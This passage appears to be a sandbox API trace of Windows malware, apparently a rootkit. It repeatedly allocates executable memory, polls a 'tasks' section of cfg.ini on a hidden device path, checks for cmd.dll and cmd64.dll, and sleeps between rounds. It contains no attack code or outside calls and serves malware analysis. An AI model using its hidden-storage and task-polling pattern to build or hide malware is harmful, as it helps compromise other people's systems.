out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.361] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.361] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.361] IdePortDispatch () returned 0x103 [0122.361] KeWaitForMutexObject () returned 0x0 [0122.361] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.361] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.361] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.361] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.361] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.361] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4d00 [0122.361] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.361] KeLeaveCriticalRegion () [0122.361] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.361] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.361] KeEnterCriticalRegion () [0122.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.361] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.361] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.362] KeLeaveCriticalRegion () [0122.362] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.362] KeEnterCriticalRegion () [0122.362] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.362] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.362] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.362] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.362] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.362] IdePortDispatch () returned 0x103 [0122.362] KeWaitForMutexObject () returned 0x0 [0122.362] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.362] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.362] KeLeaveCriticalRegion () [0122.362] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.362] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.362] KeEnterCriticalRegion () [0122.362] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.362] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c76000 [0122.362] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.362] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.362] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.362] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.362] IdePortDispatch () returned 0x103 [0122.362] KeWaitForMutexObject () returned 0x0 [0122.362] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.362] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.362] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.362] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.362] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.362] IdePortDispatch () returned 0x103 [0122.363] KeWaitForMutexObject () returned 0x0 [0122.363] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.363] KeLeaveCriticalRegion () [0122.363] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.363] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.363] KeEnterCriticalRegion () [0122.363] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.363] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.363] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.363] KeLeaveCriticalRegion () [0122.363] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.363] KeEnterCriticalRegion () [0122.363] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.363] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.363] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4dc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.363] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.363] KeLeaveCriticalRegion () [0122.363] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.363] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.363] KeEnterCriticalRegion () [0122.364] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.364] ExFreePoolWithTag (P=0xfffffa8003be4d00, Tag=0x0) [0122.364] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.364] KeLeaveCriticalRegion () [0122.364] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.364] ReleaseMutex (hMutex=0xf0) returned 1 [0122.364] Sleep (dwMilliseconds=0x927c0) [0122.379] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.379] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.379] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.379] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.379] KeEnterCriticalRegion () [0122.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.379] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.379] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.379] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.379] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.379] IdePortDispatch () returned 0x103 [0122.379] KeWaitForMutexObject () returned 0x0 [0122.379] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.379] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.379] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.379] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.379] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.379] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4640 [0122.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.379] KeLeaveCriticalRegion () [0122.379] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.379] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.379] KeEnterCriticalRegion () [0122.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.379] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.379] KeLeaveCriticalRegion () [0122.379] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.379] KeEnterCriticalRegion () [0122.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.380] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.380] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.380] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.380] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.380] IdePortDispatch () returned 0x103 [0122.380] KeWaitForMutexObject () returned 0x0 [0122.380] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.380] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.380] KeLeaveCriticalRegion () [0122.380] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.380] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.380] KeEnterCriticalRegion () [0122.380] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.380] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7b000 [0122.380] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.380] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.380] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.380] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.380] IdePortDispatch () returned 0x103 [0122.380] KeWaitForMutexObject () returned 0x0 [0122.380] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.380] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.380] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.380] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.380] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.380] IdePortDispatch () returned 0x103 [0122.380] KeWaitForMutexObject () returned 0x0 [0122.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.381] KeLeaveCriticalRegion () [0122.381] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.381] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.381] KeEnterCriticalRegion () [0122.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.381] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.381] KeLeaveCriticalRegion () [0122.381] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.381] KeEnterCriticalRegion () [0122.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.381] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.381] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.381] KeLeaveCriticalRegion () [0122.381] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.381] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.381] KeEnterCriticalRegion () [0122.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.381] ExFreePoolWithTag (P=0xfffffa8003be4640, Tag=0x0) [0122.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.381] KeLeaveCriticalRegion () [0122.381] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.382] ReleaseMutex (hMutex=0xf0) returned 1 [0122.382] Sleep (dwMilliseconds=0x927c0) [0122.396] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.396] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.396] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.396] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.396] KeEnterCriticalRegion () [0122.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.396] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.396] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.396] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.396] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.396] IdePortDispatch () returned 0x103 [0122.396] KeWaitForMutexObject () returned 0x0 [0122.396] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.397] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.397] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.397] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.397] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.397] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be40e0 [0122.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.397] KeLeaveCriticalRegion () [0122.397] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.397] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.397] KeEnterCriticalRegion () [0122.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.397] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.397] KeLeaveCriticalRegion () [0122.397] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.397] KeEnterCriticalRegion () [0122.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.397] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.397] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.397] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.397] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.397] IdePortDispatch () returned 0x103 [0122.397] KeWaitForMutexObject () returned 0x0 [0122.397] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.397] KeLeaveCriticalRegion () [0122.398] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.398] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.398] KeEnterCriticalRegion () [0122.398] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.398] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c80000 [0122.398] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.398] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.398] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.398] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.398] IdePortDispatch () returned 0x103 [0122.398] KeWaitForMutexObject () returned 0x0 [0122.398] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.398] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.398] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.398] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.398] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.398] IdePortDispatch () returned 0x103 [0122.398] KeWaitForMutexObject () returned 0x0 [0122.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.399] KeLeaveCriticalRegion () [0122.399] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.399] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.399] KeEnterCriticalRegion () [0122.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.399] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.399] KeLeaveCriticalRegion () [0122.399] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.399] KeEnterCriticalRegion () [0122.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.399] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.399] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be5070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.400] KeLeaveCriticalRegion () [0122.400] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.400] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.400] KeEnterCriticalRegion () [0122.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.400] ExFreePoolWithTag (P=0xfffffa8003be40e0, Tag=0x0) [0122.400] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.400] KeLeaveCriticalRegion () [0122.400] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.400] ReleaseMutex (hMutex=0xf0) returned 1 [0122.400] Sleep (dwMilliseconds=0x927c0) [0122.414] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.414] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.414] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.414] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.414] KeEnterCriticalRegion () [0122.414] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.414] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.414] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.414] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.414] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.414] IdePortDispatch () returned 0x103 [0122.414] KeWaitForMutexObject () returned 0x0 [0122.414] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.414] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.414] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.414] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.414] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.414] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4790 [0122.414] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.414] KeLeaveCriticalRegion () [0122.414] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.414] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.414] KeEnterCriticalRegion () [0122.414] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.414] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.415] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.415] KeLeaveCriticalRegion () [0122.415] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.415] KeEnterCriticalRegion () [0122.415] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.415] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.415] IoAllocateMdl (in: 